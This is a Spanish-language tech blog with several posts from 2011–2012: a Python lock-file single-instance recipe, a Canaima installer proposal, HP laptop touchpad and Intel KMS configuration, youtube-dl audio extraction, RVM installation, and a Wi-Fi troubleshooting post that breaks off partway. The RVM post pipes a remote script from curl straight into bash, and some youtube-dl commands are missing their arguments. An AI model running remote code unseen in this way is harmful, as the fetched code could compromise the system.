El rincón maldito

Implementar un Singleton en Python

2012-01-29T08:01:00.000-08:00

Singleton es un patrón de diseño cuya función es evitar que un objeto pueda ser instanciado más de una vez. En este post traigo una receta simple para implementar el patrón singleton en Python.

En esta implementación utilizaremos un archivo de bloqueo (lock file) para indicar si la aplicación está en ejecución o no. Python cuenta con el módulo fcntl que nos proporciona una interfaz bastante cómoda para el control de archivos pero está disponible solo para Linux/Unix, eso implica que debemos usar medidas alternativas para Windows.

Detectar SO e importar módulos

Lo primero que debemos hacer es detectar el sistema operativo y ejecutar los import correspondientes para cada caso. Usaremos además el módulo tempfile para generar el lock file como un archivo temporal del sistema.

#!/usr/bin/python2
# -*- coding: utf-8 -*-

import os
import sys
import tempfile

OS = None
if sys.platform.startswith('linux'):
    OS = 'linux'
    import fcntl
elif sys.platform.startswith('win32'):
    OS = 'windows'

Definir la clase Singleton

Después de detectar el sistema operativo definimos la clase Singleton. Básicamente, esta clase será la encargada de crear el lock file al inicio o generar una advertencia y termina la ejecución en caso de que el archivo ya exista (es decir, que ya existe una instancia de la aplicación en ejecución).

class Singleton:
    def __init__(self):
        # Variable para almacenar el file descriptor
        self.fd = None
        # Ruta para el lock file en la carpeta temporal del sistema
        self.filepath = os.path.abspath(os.path.join(tempfile.gettempdir(), 
            'myapp.pid'))
        
        if OS == 'linux':
            # Para el caso de linux usamos el módulo fcntl para crear el archivo
            # y bloquearlo automáticamente. Si la operación falla es porque el
            # archivo ya existe y está bloqueado.
            self.fd = open(self.filepath, 'w')
            try:
                fcntl.lockf(self.fd, fcntl.LOCK_EX | fcntl.LOCK_NB)
            except IOError:
                self.__exit()
        elif OS == 'windows':
            try:
                # Para el caso windows simplemente creamos el archivo "a mano",
                # pero verificamos primero si el archivo existe e intentamos 
                # removerlo (para casos en que la ejecución previa haya sido 
                # interrumpida)
                if os.path.exists(self.filepath):
                    os.unlink(self.filepath)
                self.fd = os.open(self.filepath, os.O_CREAT|os.O_EXCL|os.O_RDWR)
            except OSError, err:
                if err.errno == 13:
                    self.__exit()
    
    def __del__(self):
        # Para el caso de windows también debemos destruir el archivo "a mano" 
        # al finalizar la ejecución del programa.
        if OS == 'windows':
            if self.fd:
                os.close(self.fd)
                os.unlink(self.filepath)
    
    def __exit(self):
        print 'Ya hay una instancia en ejecución. Saliendo'
        sys.exit(-1)

En el __init__ se observa que creamos una variable para almacenar el file descriptor (fd), luego generamos una ruta para el lock file. Posteriormente creamos un lock file con el módulo fcntl (en el caso linux) o creamos un archivo regular (para el caso windows). Adicionalmente, en el caso windows necesitamos hacernos cargo del archivo al finalizar la ejecución, para eso sobreescribimos el método __del__ y colocamos nuestro código. Adicionalmente tenemos la función __exit(), que es la encargada de detener la ejecución del programa de forma elegante.

Clase de pruebas

Con los pasos anteriores tenemos lista nuestra implementación simple del patrón singleton. Ahora, ¿Cómo la usamos? Creamos una clase (por ejemplo MyApp) que herede de singleton y ponemos un bucle infinito para que se mantenga haciendo "algo".

class MyApp(Singleton):
    def __init__(self):
        Singleton.__init__(self)
        print 'Ejecutando MyApp'
        # Creamos un bucle infinito solo para mantener la aplicación en
        # ejecución
        while 1:
            continue

¿Cómo se vería nuestro script?

El código completo de nuestro script se vería así:

#!/usr/bin/python2
# -*- coding: utf-8 -*-

import os
import sys
import tempfile

OS = None
if sys.platform.startswith('linux'):
    OS = 'linux'
    import fcntl
elif sys.platform.startswith('win32'):
    OS = 'windows'

class Singleton:
    def __init__(self):
        # Variable para almacenar el file descriptor
        self.fd = None
        # Ruta para el lock file en la carpeta temporal del sistema
        self.filepath = os.path.abspath(os.path.join(tempfile.gettempdir(), 
            'myapp.pid'))
        
        if OS == 'linux':
            # Para el caso de linux usamos el módulo fcntl para crear el archivo
            # y bloquearlo automáticamente. Si la operación falla es porque el
            # archivo ya existe y está bloqueado.
            self.fd = open(self.filepath, 'w')
            try:
                fcntl.lockf(self.fd, fcntl.LOCK_EX | fcntl.LOCK_NB)
            except IOError:
                self.__exit()
        elif OS == 'windows':
            try:
                # Para el caso windows simplemente creamos el archivo "a mano",
                # pero verificamos primero si el archivo existe e intentamos 
                # removerlo (para casos en que la ejecución previa haya sido 
                # interrumpida)
                if os.path.exists(self.filepath):
                    os.unlink(self.filepath)
                self.fd = os.open(self.filepath, os.O_CREAT|os.O_EXCL|os.O_RDWR)
            except OSError, err:
                if err.errno == 13:
                    self.__exit()
    
    def __del__(self):
        # Para el caso de windows también debemos destruir el archivo "a mano" 
        # al finalizar la ejecución del programa.
        if OS == 'windows':
            if self.fd:
                os.close(self.fd)
                os.unlink(self.filepath)
    
    def __exit(self):
        print 'Ya hay una instancia en ejecución. Saliendo'
        sys.exit(-1)

class MyApp(Singleton):
    def __init__(self):
        Singleton.__init__(self)
        print 'Ejecutando MyApp'
        # Creamos un bucle infinito solo para mantener la aplicación en
        # ejecución
        while 1:
            continue
    
if __name__ == '__main__':
    app = MyApp()

Probando el singleton

Para probarlo abrimos un terminal, nos colocamos en la carpeta donde esté ubicado nuestro script y lo ejecutamos por primera vez. Eso nos dará como resultado algo como:

$ python myapp.py 
Ejecutando MyApp

Abrimos una terminal nueva (sin cerrar la terminal anterior) e intentamos ejecutar la aplicación por segunda vez. Eso nos devolverá:

$ python myapp.py 
Ya hay una instancia en ejecución. Saliendo

¡Y voilá! Logramos que un script de Python pueda ser ejecutado una sola vez.

Hay implementaciones más complejas que almacenan el ID del proceso dentro del lock file y cada vez que se intenta ejecutar una nueva instancia se lee el ID y se verifica que realmente exista un proceso en ejecución con ese identificador. Pero como dije al principio, esta es una receta simple, así que as implementaciones más complejas las dejamos como tareas para el lector ;)

Mi propuesta para Canaima-Instalador

2012-01-28T08:32:00.000-08:00

Actualmente estoy colaborando con el desarrollo de canaima-instalador, una aplicación para Canaima GNU/Linux que permitirá al usuario instalar/probar Canaima de una manera fácil e intuitiva, y he decidido hacer una propuesta sobre cómo debe lucir y funcionar el nuevo instalador. La propuesta a continuación.

Paso 1: LiveCD

Lo primero que hace falta cambiar es el menú de inicio del liveCD. Actualmente tenemos una pantalla llena de opciones que, más allá de facilitar el uso, pueden confundir a los usuarios menos experimentados. Mi sugerencia es que el liveCD arranque automáticamente y presente un menú inferior con las posibles opciones para usuarios más experimentados.

Paso 2: Bienvenida

Aquí es donde comienza a ejecutarse canaima-instalador. La idea es que sea tipo OEM, es decir, que no cargue el escritorio sino lo mínimo necesario para ejecutarse. Se le preguntará al usuario si desea probar la distribución o instalar. Para el primer caso se cierra canaima-instalador y se continúa con la carga del escritorio, para el segundo caso se sigue el flujo normal de la aplicación.

Paso 3: Requisitos

Se le muestra al usuario cuáles son los requisitos mínimos necesarios para obtener mejores resultados al instalar Canaima. En caso de que no se cumpla con un requisito crítico (por ejemplo, el espacio en disco) la instalación no debería continuar.

Paso 4: Modo de instalación

Acá (luego de haber analizado el hardware) se le presentan al usuario las distintas opciones que tiene para instalar. En teoría todas deberían ser automáticas excepto la de "Particionamiento Avanzado" que ejecutará una instancia de gparted y bloqueará canaima-instalador hasta que el usuario termine de definir sus particiones. Una vez que el usuario haga clic en "Siguiente" no podrá volver atrás. Acá termina la primera fase de instalación y comienza el copiado de los archivos en el disco duro en segundo plano. La idea es aprovechar el tiempo, mientras se copian los archivos solicitamos al usuario el resto de la información y una vez terminada la copia se ejecutan las tareas correspondientes. De esta forma logramos minimizar considerablemente el tiempo de instalación (tal como lo hace Ubuntu).

Paso 5: Configuración de teclado

Como expliqué en el punto anterior, mientras se copian los archivos en segundo plano solicitamos el resto de la información al usuario. Acá se le pedirá que seleccione la distribución del teclado. Es importante observar que el botón de "Anterior" no estará disponible en este paso.

Paso 6: Configuración de usuarios

En esta fase se le pedirán los datos de las cuentas (root y usuario regular). Es importante habilitar un link (o botón) de ayuda donde se pueda explicar qué significa root y por qué es importante definir esa contraseña. Es importante recalcar que si el usuario no ha terminado de introducir la información complementaria y la copia de archivos finaliza entonces las tareas en segundo plano se detendrán hasta que se culmine esta fase.

Paso 7: Imágenes aleatorias sobre las bondades de Canaima

Al igual que Ubuntu y otros sistemas operativos, podemos mostrar una serie de imágenes aleatorias que informen al usuario sobre las bondades de Canaima GNU/Linux y del Software Libre mientras termina la instalación.

Paso 8: Fin de la instalación

Al finalizar todo exitosamente se le mostrará un pequeño diálogo al usuario para que reinicie el equipo y comience a disfrutar de las bondandes del SL.

Bueno, esta es mi idea de lo que debería ser un instalador fácil e intuitivo para Canaima GNU/Linux. Se escuchan comentariosUpdate para los haters: Sí, mi propuesta está basada casi enteramente en el instalador de Ubuntu porque me parece un excelente instalador ¿Cuál es el problema con eso?

Configurar el Touchpad Synaptics de una HP Pavilion dm4 en Debian

2011-10-31T17:00:00.000-07:00

En un artículo anterior expliqué cómo configurar el video Intel i915 con KMS en una HP Pavilion dm4. Esta vez explicaré cómo configurar el Touchpad Synaptics de esa misma laptop.

Leer el manual

Lo primero que debes hacer si deseas configurar correctamente el Touchpad es leer el manual (RTFM).$ man synaptics
Yo configuré el touchpad a mi gusto, así que puedes probarlo y si no te gusta lo adaptas al tuyo. Sin embargo es una tarea de ensayo y error que no podrás completar a menos que conozcas todas las opciones que tienes disponibles.

Dependencias

Lo único que necesitamos es un Xorg bien configurado y los drivers synaptics. Para instalar los drivers ejecutamos:# aptitude install xserver-xorg-input-synaptics

Entender cómo funciona el Touchpad

Básicamente no es un Touchpad, es un ClickPad y eso lo hace un poco especial. ¿Diferencias? Pues la superficie táctil también funciona como botón, que actua como uno u otro (left, right) dependiendo de la zona que se presione. No tenemos un área táctil con unos botones separados, tenemos con todo incluido, eso debe quedar muy claro.

Configuración

Xorg provee una serie de plantillas predeterminadas para la configuración de dispositivos. Estas plantillas se encuentran en /usr/share/X11/xorg.conf.d/ y basta con copiar a /etc/X11/xorg.conf.d/ la que necesitemos y comenzar a modificarla. Xorg se encargará de cargar estos valores luego de los valores predeterminados. Para nuestro caso usaremos la plantilla 50-synaptics.conf.

# mkdir /etc/X11/xorg.conf.d/
# cp /usr/share/X11/xorg.conf.d/50-synaptics.conf /etc/X11/xorg.conf.d/

Lo que haremos será modificar el InputClass para agregar los parámetros que deseamos configurar. En el manual de synaptics tenemos bien documentados cada una de las opciones con su descripción y posibles valores.

Mi configuración quedó así:

Section "InputClass"
    Identifier  "touchpad catchall"
    Driver      "synaptics"
    MatchIsTouchpad "on"
    MatchDevicePath "/dev/input/event*" 
        Option      "Protocol" "auto-dev"
        Option      "SHMConfig" "true"
        # Edges
        Option      "LeftEdge" "1500"
        Option      "RightEdge" "5200"
        Option      "TopEdge" "1350"
        Option      "BottomEdge" "3500"
        # Finger press
        Option      "FingerLow" "24"
        Option      "FingerHigh" "29"
        Option      "FingerPress" "255"
        # Taps time
        Option      "MaxTapTime" "180"
        Option      "MaxTapMove" "220"
        Option      "MaxDoubleTapTime" "180"
        Option      "SingleTapTimeout" "180"
        Option      "ClickTime" "100"
        Option      "FastTaps" "100"
        # Emulate
        Option      "EmulateMidButtonTime" "75"
        Option      "EmulateTwoFingerMinZ" "70"
        Option      "EmulateTwoFingerMinW" "5"
        # Scrolling
        Option      "VertScrollDelta" "100"
        Option      "HorizScrollDelta" "0"
        Option      "VertEdgeScroll" "1"
        Option      "HorizEdgeScroll" "0"
        Option      "CornerCoasting" "0"
        Option      "VertTwoFingerScroll" "1"
        Option      "HorizTwoFingerScroll" "1"
        # Pointer speed
        Option      "MinSpeed" "0.1"
        Option      "MaxSpeed" "1.0"
        Option      "AccelFactor" "0.75"
        Option      "TrackstickSpeed" "0"
        Option      "EdgeMotionMinZ" "29"
        Option      "EdgeMotionMaxZ" "159"
        Option      "EdgeMotionMinSpeed" "1"
        Option      "EdgeMotionMaxSpeed" "401"
        Option      "EdgeMotionUseAlways" "0"
        # Scrolling flags
        Option      "UpDownScrolling" "1"
        Option      "LeftRightScrolling" "1"
        Option      "UpDownScrollRepeat" "1"
        Option      "LeftRightScrollRepeat" "1"
        Option      "ScrollButtonRepeat" "100"
        # Touchpad mouse on/off
        Option      "TouchpadOff" "0"
        Option      "GuestMouseOff" "0"
        # Dragging
        Option      "LockedDrags" "0"
        Option      "LockedDragsTimeout" "5000"
        # Corners
        Option      "RTCornerButton" "0"
        Option      "RBCornerButton" "2"
        Option      "LTCornerButton" "0"
        Option      "LBCornerButton" "1"
        # Tap
        Option      "TapButton1" "1"
        Option      "TapButton2" "3"
        Option      "TapButton3" "2"
        # Click
        Option      "ClickFinger1" "1"
        Option      "ClickFinger2" "0"
        Option      "ClickFinger3" "0"
        # Circular
        Option      "CircularScrolling" "0"
        Option      "CircScrollDelta" "0.1"
        Option      "CircScrollTrigger" "0"
        Option      "CircularPad" "0"
        # Palm
        Option      "PalmDetect" "1"
        Option      "PalmMinWidth" "10"
        Option      "PalmMinZ" "199"
        Option      "CoastingSpeed" "0"
        # Grab
        Option      "GrabEventDevice" "1"
        Option      "TapAndDragGesture" "1"
        # Area
        Option      "AreaLeftEdge" "0"
        Option      "AreaRightEdge" "0"
        Option      "AreaTopEdge" "0"
        Option      "AreaBottomEdge" "3500"
EndSection

Section "InputClass"
    Identifier  "Ignore mouse devs"
    MatchDevicePath "/dev/input/mouse*"
    Driver      "synaptics"
    Option      "Ignore" "on"
EndSection

No explicaré en detalle cada una de las opciones (para eso está el manual de synaptics), solo explicaré las más relevantes o las "problemáticas".Lo primero es ignorar las pulsaciones en el área de los botones. Para eso definimos el rango de acción del dispositivo (límites):


        # Edges
        Option      "LeftEdge" "1500"
        Option      "RightEdge" "5200"
        Option      "TopEdge" "1350"
        Option      "BottomEdge" "3500"

        # Area
        Option      "AreaLeftEdge" "0"
        Option      "AreaRightEdge" "0"
        Option      "AreaTopEdge" "0"
        Option      "AreaBottomEdge" "3500"

Colocando el límite inferior (BottomEdge y AreaBottomEdge) en 3500 evitamos que el cursor se mueva al pasar sobre el área de botones. Estableciendo el límite derecho (RightEdge) a 5200 evitamos que el cursor se mueva en la columna derecha (para habilitar la zona de scrolling vertical). La imagen a continuación ilustra estos ajustes:

El dispositivo solo tiene un botón y a simple vista no encontré la forma de configurarlo para que funcione como ambos. Estuve compilando el driver synaptics con un patch para agregar el soporte de clickpads pero no he logrado generar el .ko, así que simplemente dejé su funcionamiento por defecto (left click) y configuré el click izquierdo con tap, el doble click con doble tap y el click derecho con tap de dos dedos.

Eso podemos verlo en:


        # Tap
        Option      "TapButton1" "1"
        Option      "TapButton2" "3"
        Option      "TapButton3" "2"

El botón para activar/desactivar el clickpad tampoco pude hacerlo funcionar pero creo que es cuestión de seguir trasteando hasta lograr una solución. Además de eso, el resto de la configuración es el ajuste de valores para la sensibilidad, aceleración y velocidad del puntero, pero eso lo dejo como tarea para el lector.

Tarea para la casa

Una de las herramientas más importantes para lograr una efectiva configuración es synclient. Gracias a esta herramienta pude determinar las coordenadas que definen los límites de mi dispositivo (que en las imágenes de arriba están marcados con azul y rojo) y verificar los valores de configuración

Usando el siguiente comando podemos verificar la actividad del touchpad en vivo:$ synclient -m 10
La salida debería ser algo como:

   time     x    y   z f  w  l r u d m     multi  gl gm gr gdx gdy
 874.169  5392 4317   3 0  0  0 0 0 0 0  00000000
 874.269  5392 4317   0 0  0  0 0 0 0 0  00000000
 874.670  5392 4317   1 0  0  0 0 0 0 0  00000000
 874.770  5392 4317   7 0  0  0 0 0 0 0  00000000
 874.870  4143 1708   9 1 11  0 0 0 0 0  00000000
 874.970  4225 1811   3 0  0  0 0 0 0 0  00000000
 875.070  4225 1811   2 0  0  0 0 0 0 0  00000000

Donde:

x, y: definen las coordenadas de la pulsación
z: la presión aplicada
f: el número de dedos tocando la superficie
w: es una medida del ancho del dedo
l,r,m: el estado de los botones left, right y middle

Para más información:$ man synclient
Espero que con esta guía puedas configurar tu ClickPad y usarlo decentemente. Me queda pendiente por investigar la función de deshabilitar el touchpad mientras se escribe, los botones left-right y el botón para activar. Cuando lo logré postearé nuevamente :)

Fuentes:

Configurar video Intel i915 + KMS en Debian Wheezy

2011-10-28T12:23:00.000-07:00

Es esta receta explicaré como configurar y activar el KMS (Kernel Mode Setting) con el driver Intel i915 en una HP Pavilion dm4 . Las instrucciones están hechas para Debian Wheezy (testing a la fecha) y requiere de un kernel >= 2.6.29.

Instalar dependencias

Suponiendo que tenemos Xorg instalado y corriendo (quizás funcionando con el driver vesa) procedemos instalar el driver intel y sus dependencias:
# aptitude install libgl1-mesa-glx libglu1-mesa xserver-xorg-video-intel mesa-utils

Activar el KMS

Luego vamos al archivo /etc/modprobe.d/i915-kms.conf y agregamos la línea: options i915 modeset=1
Regeneramos la imagen del kernel con:# update-initramfs -u
Editamos el archivo /etc/default/grub y modificamos esta línea:GRUB_CMDLINE_LINUX_DEFAULT="quiet i915.modeset=1 video=LVDS-1:e"
El parámetro i915.modeset=1 habilita el KMS al momento del booteo y para que la pantalla no se quede en negro luego de cargar el módulo, debemos agregar el parámetro video=LVDS-1:e.

Es importante no cargar ningún otro driver para framebuffer que no sea el de Intel y eliminar de los parámetros de booteo cualquier opción del tipo vga=xxx o video=xxx.

El parámetro video=LVDS-1:e tiene una razón de ser muy particular. El BIOS de esta máquina tiene un bug; cuando inicia, indica erróneamente que la tapa de la laptop está cerrada. El kernel, basándose en esa información, manda a apagar la pantalla y por eso todo se queda en negro, no es que se congela ni que deja de funcionar. Pueden corroborar esto cerrando y abriendo la tapa de la laptop cuando se apaga. Verán que el video vuelve mágicamente y que el equipo no se había detenido, seguía funcionando pero a ciegas.

Es bien conocido que el kernel no usa el BIOS para casi ninguna de sus tareas, sin embargo a partir del kernel 2.6.32 los desarrolladores decidieron "escuchar" al BIOS en este tipo de eventos, así que hasta que no se masifique el patch que corrige la situación debemos aplicar este correctivo.

Si desean más información pueden revisar el reporte y la resolución del bug en Launchpad o el reporte del error en fredesktop.org

Luego de ese paréntesis técnico continuamos con nuestra configuración. Reconfiguramos el grub para que se apliquen los cambios anteriores:
# update-grub

Configuración de Xorg

Lo siguiente es crear y personalizar el archivo de configuración de Xorg.

A partir de la versión 1.8, Xorg ya no necesita archivos de configuración. En lugar de eso intenta detectar y configurar todo el hardware (video y dispositivos de entrada) por si mismo. Sin embargo existen casos especiales que requieren algunos "ajustes". Este es uno de esos casos.

Procedemos entonces a detener el servidor X. Si tenemos un entorno de escritorio basta con detener el gestor de sesión (gdm, kdm, slim, xdm, etc), sino matamos las X.

Hecho esto pasamos a ejecutar:# Xorg -configure
Eso debería generarnos un archivo xorg.conf.new que servirá como base. A ese archivo le editamos la sección "Device" para que nos quede algo como:

Section "Device"
        Option      "DRI"                       "True"
        Option      "Tiling"                    "True"
        Option      "XAANoOffscreenPixmaps"     "True"
        Identifier  "Card0"
        Driver      "intel"
        BusID       "PCI:0:2:0"
EndSection

Y agregamos al final del archivo la siguiente sección:

Section "Extensions"
        Option          "Composite" "enable"
EndSection

Observen que indicamos el driver de video y algunas opciones para mejorar el desempeño gráfico. Si conocen otras opciones (que apliquen para tarjetas Intel) también pueden agregarlas acá.

Con esto terminamos nuestra configuración del servidor X.

Reiniciar

Reiniciamos y ya deberíamos disfrutar de nuestro video usando KMS. Verán que la transición entre modos de video es casi instantánea y el parpadeo se redujo considerablemente. Además de que compiz y todas esas yerbas aromáticas se ven con una suavidad asombrosa.

Deshabilitar el KMS

Si desean deshabilitar el KMS basta con desactivar el modeset en la línea:GRUB_CMDLINE_LINUX_DEFAULT="quiet i915.modeset=0 video=LVDS-1:e"
Reconfiguramos el grub:# update-grub
Y KMS desactivado.

Espero que esta receta les haya servido de ayuda. En un próximo post explicaré cómo configurar el Touchpad Synaptics.

Fuentes:

Obtener audio de un video de Youtube

2011-09-17T18:12:00.000-07:00

¿No les ha pasado que a veces encuentran en Youtube videos que son unas verdaderas joyas musicales y les gustaría tenerlos en su colección musical? Bueno con este truco es muy fácil hacerlo.

Primero instalamos el Youtube Downloader. Desde Debian sería:
# aptitude install youtube-dl
Instalamos el ffmpeg (en caso de no tenerlo):
# aptitude install ffmpeg
Luego descargamosel video desde Youtube y extraemos el audio:
$ youtube-dl --extract-audio
Eso nos generará un archivo .aac, ahora procedemos a convertirlo a mp3 (o al formato de nuestra preferencia):
$ ffmpeg -i .aac -ar 22050 -ab 32 .mp3
Y ya podremos disfrutar de la pieza de audio en nuestro reproductor favorito a partir del video de Youtube

Instalar RVM en Debian Wheezy

2011-05-28T09:32:00.000-07:00

RVM (Ruby Version Manager) es una fantástica herramienta que te permite gestionar muchas versiones de Ruby (y de sus gemas) en un mismo equipo. Las gemas se manejan mediante contenedores (gemsets), allí puedes instalar lo que desees sin afectar el resto de los componentes. Es un principio muy parecido al de las máquinas virtuales.

La receta es para Debian pero se puede aplicar para cualquier distro, solo hay que tener en cuenta los nombres de los paquetes a instalar.

Comencemos entonces con las dependencias. Necesitamos git, las herramientas básicas para compilar, los fuentes del readline y del ssl:

# aptitude install libreadline5-dev git curl build-essential libssl-dev

Luego, como usuario ejecutamos el siguiente script:

$ bash < <(curl -s https://rvm.beginrescueend.com/install/rvm)

Ese script descarga rvm de git, lo compila y lo instala. Antes de usarlo debemos agregar una línea a nuestro .bash_profile, para eso ejecutamos:

$ echo '[[ -s "$HOME/.rvm/scripts/rvm" ]] && . "$HOME/.rvm/scripts/rvm" # Load RVM function' >> ~/.bash_profile

Hacemos un:

$ source ~/.bash_profile

Y verificamos que todo haya salido bien:

$ type rvm | head -1

El resultado de ese comando debería ser: rvm es una función. Si no obtenemos ese resultado algo ha ido mal. Les recomiendo entonces revisar la documentación de instalación o la página de problemas solucionados.

Ahora podemos ejecutar rvm como un comando más de consola. Instalemos un par de paquetes que nos harán falta antes de instalar una versión de Ruby:

$ rvm package install openssl
$ rvm package install readline

Instalamos una versión de Ruby (por ejemplo: 1.8.7):

$ rvm install 1.8.7

Y configuramos la versión que deseamos usar por defecto en el sistema:

$ rvm use 1.8.7 --default
Using /home/tu_usuario/.rvm/gems/ruby-1.8.7-p334

Ahora podemos crear gemsets a placer, por ejemplo:

$ rvm gemset create pruebas1
'pruebas1' gemset created (/home/tu_usuario/.rvm/gems/ruby-1.8.7-p334@pruebas1).

Notese que el @ en el mensaje anterior nos indica que el gemset ha sido asociado a la versión 1.8.7 de Ruby que habíamos instalado (y seleccionado para usar) previamente. Ahora instalemos otro gemset de pruebas para entender la magia del asunto.

$ rvm gemset create pruebas2
'pruebas2' gemset created (/home/tu_usuario/.rvm/gems/ruby-1.8.7-p334@pruebas2).

Podemos movernos a través de los gemsets usando el comando use con la siguiente forma:

$ rvm use 1.8.7@pruebas1
Using /home/tu_usuario/.rvm/gems/ruby-1.8.7-p334 with gemset pruebas1

Ahora probemos instalar una gema en el contenedor 'pruebas1':

$ gem install xml-simple --no-rdoc --no-ri
Fetching: xml-simple-1.0.15.gem (100%)
Successfully installed xml-simple-1.0.15
1 gem installed

Particularmente uso los argumentos --no-rdoc --no-ri para evitar la instalación de la documentación y otros archivos adicionales que no utilizo y demoran considerablemente la puesta a punto de la gema.

Veamos entonces qué tenemos ahora en 'pruebas1':

$ gem list --local

*** LOCAL GEMS ***

rake (0.8.7)
xml-simple (1.0.15)

Una nueva gema instalada en nuestro gemset. Y en 'pruebas2' ¿qué tenemos?:

$ rvm use 1.8.7@pruebas2
Using /home/tu_usuario/.rvm/gems/ruby-1.8.7-p334 with gemset pruebas2

$ gem list --local

*** LOCAL GEMS ***

rake (0.8.7)

¡Oh! No tenemos nada instalado. Eso quiere decir que nuestros contenedores están aislados uno del otro y que podemos instalar cosas que cada uno de ellos sin temor a romper algo en el otro (siempre teniendo cuidado del gemset que está en uso).

Si en algún momento dañamos un gemset basta con ejecutar:

$ rvm gemset delete pruebas1
WARN: Are you SURE you wish to remove the entire gemset directory 'pruebas1' (/home/tu_usuario/.rvm/gems/ruby-1.8.7-p334@pruebas1)?
(anything other than 'yes' will cancel) >

Respondemos yes y listo, desaparece el gemset con todo lo que tenía adentro.

Muy bonito todo, pero se preguntarán ¿Cómo le digo a un determinado proyecto que use un gemset específico? ¿O es que debo especificarle manualmente que gemset utilizará cada vez que vaya a ejecutarlo?

Pues la respuesta es muy simple, basta con crear un archivo .rvmrc en la raíz del proyecto con algo parecido a esto:

rvm use 1.8.7@pruebas2

Y desde ese momento, todo lo que está dentro de esa carpeta usará la versión del Ruby y el gemset especificado en el archivo.

NOTA: Es importante aclarar que Ruby, RubyGems, las gemas o cualquier otras cosa relacionada NO debe instalarse usando la paquetería de la distribución. TODO debe manejarse a través RVM, de lo contrario corromperemos toda la instalación.

Espero que esta receta les sea de utilidad, a mi me ha cambiado la vida xD

Debian Wheezy sin interfaz inalámbrica luego de un safe-upgrade

2011-05-24T21:34:00.000-07:00

Me ocurrió hace unos días que actualicé mi Debian y repentinamente me quedé sin conexión inalámbrica. Uso Debian Testing (Wheezy para la fecha) en una HP Pavilion dv2000 y la tarjeta de red inalámbrica es una Intel PRO/Wireless 4965 AG.

Leyendo y leyendo diferentes manuales todos afirmaban que con solo instalar el paquete firmware-iwlwifi del repo non-free la cosa funcionaba a la perfección y me constaba porque así lo había hecho en un principio. Sin embargo, luego de actualizar no anduvo más y lo curioso es que el lspci me devolvía señales de vida:

07:00.0 Network controller: Intel Corporation PRO/Wireless 4965 AG or AGN [Kedron] Network Connection (rev 61)

El paquete en efecto estaba instalado:

$ aptitude search iwl | grep ^i
i   firmware-iwlwifi                - Binary firmware for Intel Wireless 3945, 4

El lsmod me mostraba los módulos cargados y todo estaba bien:

$ lsmod | grep iwl
iwlagn                122417  0 
iwlcore                50368  1 iwlagn
mac80211              160285  2 iwlagn,iwlcore
cfg80211              106889  3 iwlagn,iwlcore,mac80211

Incluso, los binarios del firmware también parecían estar en orden:

# find / -name "*ucode*"
/sys/module/iwlagn/parameters/ucode_alternative
/lib/firmware/iwlwifi-6050-5.ucode
/lib/firmware/iwlwifi-3945-2.ucode
/lib/firmware/iwlwifi-6000g2b-5.ucode
/lib/firmware/iwlwifi-5000-5.ucode
/lib/firmware/iwlwifi-5000-1.ucode
/lib/firmware/iwlwifi-4965-2.ucode
/lib/firmware/iwlwifi-5000-2.ucode
/lib/firmware/iwlwifi-4965-1.ucode
/lib/firmware/iwlwifi-6000-4.ucode
/lib/firmware/iwlwifi-6000g2a-5.ucode
/lib/firmware/iwlwifi-1000-3.ucode
/lib/firmware/iwlwifi-6050-4.ucode
/lib/firmware/iwlwifi-3945-1.ucode
/lib/firmware/iwlwifi-5150-2.ucode
/lib/firmware/iwlwifi-100-5.ucode

Luego intento ver el log del kernel y me encuentro con algo que me dio algunas pistas:

# tail -f /var/log/syslog
May 24 23:03:31 mpn82 kernel: [ 6214.119061] iwlagn: Intel(R) Wireless WiFi Link AGN driver for Linux, in-tree:
May 24 23:03:31 mpn82 kernel: [ 6214.119064] iwlagn: Copyright(c) 2003-2010 Intel Corporation
May 24 23:03:31 mpn82 kernel: [ 6214.119140] iwlagn 0000:07:00.0: PCI INT A -> GSI 19 (level, low) -> IRQ 19
May 24 23:03:31 mpn82 kernel: [ 6214.119153] iwlagn 0000:07:00.0: setting latency timer to 64
May 24 23:03:31 mpn82 kernel: [ 6214.119187] iwlagn 0000:07:00.0: Detected Intel(R) Wireless WiFi Link 4965AGN, REV=0x4
May 24 23:03:31 mpn82 kernel: [ 6214.157779] iwlagn 0000:07:00.0: device EEPROM VER=0x36, CALIB=0x5
May 24 23:03:31 mpn82 kernel: [ 6214.157782] iwlagn 0000:07:00.0: Device SKU: 0Xb
May 24 23:03:31 mpn82 kernel: [ 6214.157979] iwlagn 0000:07:00.0: Tunable channels: 11 802.11bg, 13 802.11a channels
May 24 23:03:31 mpn82 kernel: [ 6214.158062] iwlagn 0000:07:00.0: irq 46 for MSI/MSI-X
May 24 23:03:31 mpn82 NetworkManager[1140]:  found WiFi radio killswitch rfkill4 (at /sys/devices/pci0000:00/0000:00:1c.3/0000:07:00.0/ieee80211/phy2/rfkill4) (driver )
May 24 23:03:31 mpn82 kernel: [ 6214.161805] iwlagn 0000:07:00.0: loaded firmware version 228.61.2.24
May 24 23:03:31 mpn82 kernel: [ 6214.162128] ieee80211 phy2: Selected rate control algorithm 'iwl-agn-rs'
May 24 23:03:31 mpn82 NetworkManager[1140]:    SCPlugin-Ifupdown: devices added (path: /sys/devices/pci0000:00/0000:00:1c.3/0000:07:00.0/net/wlan0, iface: wlan0)
May 24 23:03:31 mpn82 NetworkManager[1140]:    SCPlugin-Ifupdown: device added (path: /sys/devices/pci0000:00/0000:00:1c.3/0000:07:00.0/net/wlan0, iface: wlan0): no ifupdown configuration found.
May 24 23:03:31 mpn82 NetworkManager[1140]:  (wlan0): driver supports SSID scans (scan_capa 0x01).
May 24 23:03:31 mpn82 NetworkManager[1140]:  (wlan0): new 802.11 WiFi device (driver: 'iwlagn' ifindex: 6)
May 24 23:03:31 mpn82 NetworkManager[1140]:  (wlan0): exported as /org/freedesktop/NetworkManager/Devices/3
May 24 23:03:31 mpn82 NetworkManager[1140]:  (wlan0): now managed
May 24 23:03:31 mpn82 NetworkManager[1140]:  (wlan0): device state change: 1 -> 2 (reason 2)
May 24 23:03:31 mpn82 NetworkManager[1140]:  (wlan0): bringing up device.
May 24 23:03:31 mpn82 NetworkManager[1140]:  (wlan0): deactivating device (reason: 2).

1.- El firmware se estaba cargando con la versión más actualizada según la página de Intel
May 24 23:03:31 mpn82 kernel: [ 6214.161805] iwlagn 0000:07:00.0: loaded firmware version 228.61.2.24

2.- Por alguna razón la interfaz se estaba apagando luego que cargaba el NetworkManager

Decidí buscar un poco en internet y me conseguí con este reporte de bug en Red Hat que involucraba al NetworkManager, la interfaz wireless y un mensaje de error muy similar al mío.

Probé entonces con:

# rfkill list
0: hp-wifi: Wireless LAN
 Soft blocked: yes
 Hard blocked: no
2: hp-bluetooth: Bluetooth
 Soft blocked: yes
 Hard blocked: no
